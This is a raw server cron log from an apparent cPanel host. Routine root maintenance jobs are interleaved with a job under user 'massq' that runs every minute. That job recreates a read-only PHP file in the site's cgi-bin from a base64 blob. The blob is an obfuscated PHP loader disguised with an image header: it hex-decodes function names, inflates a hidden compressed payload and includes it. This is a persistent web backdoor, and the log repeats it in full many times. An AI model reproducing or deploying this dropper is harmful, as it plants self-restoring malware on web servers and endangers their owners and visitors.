Sep  8 18:40:01 server CROND[16377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:40:01 server CROND[16379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:40:01 server CROND[16381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:40:01 server CROND[16382]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:40:01 server CROND[16383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:40:01 server CROND[16378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:41:01 server CROND[17220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:41:01 server CROND[17221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:41:01 server CROND[17222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:42:01 server CROND[17618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:42:01 server CROND[17620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:42:01 server CROND[17617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:42:01 server CROND[17619]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:43:01 server CROND[18094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:43:01 server CROND[18095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:43:01 server CROND[18093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:44:01 server CROND[18469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:44:01 server CROND[18470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:44:01 server CROND[18471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:45:01 server CROND[18878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:45:01 server CROND[18879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:45:01 server CROND[18880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:45:01 server CROND[18886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:45:01 server CROND[18885]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:45:01 server CROND[18887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:45:01 server CROND[18884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:46:01 server CROND[19718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:46:01 server CROND[19719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:46:01 server CROND[19720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:47:01 server CROND[20094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:47:01 server CROND[20095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:47:01 server CROND[20096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:48:01 server CROND[20583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:48:01 server CROND[20584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:48:01 server CROND[20585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:49:01 server CROND[20970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:49:01 server CROND[20971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:49:01 server CROND[20972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:50:01 server CROND[21360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:50:01 server CROND[21362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:50:01 server CROND[21365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:50:01 server CROND[21367]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:50:01 server CROND[21370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:50:01 server CROND[21371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 18:50:01 server CROND[21373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:50:01 server CROND[21374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 18:50:01 server CROND[21369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:51:01 server CROND[22195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:51:01 server CROND[22196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 18:51:01 server CROND[22197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
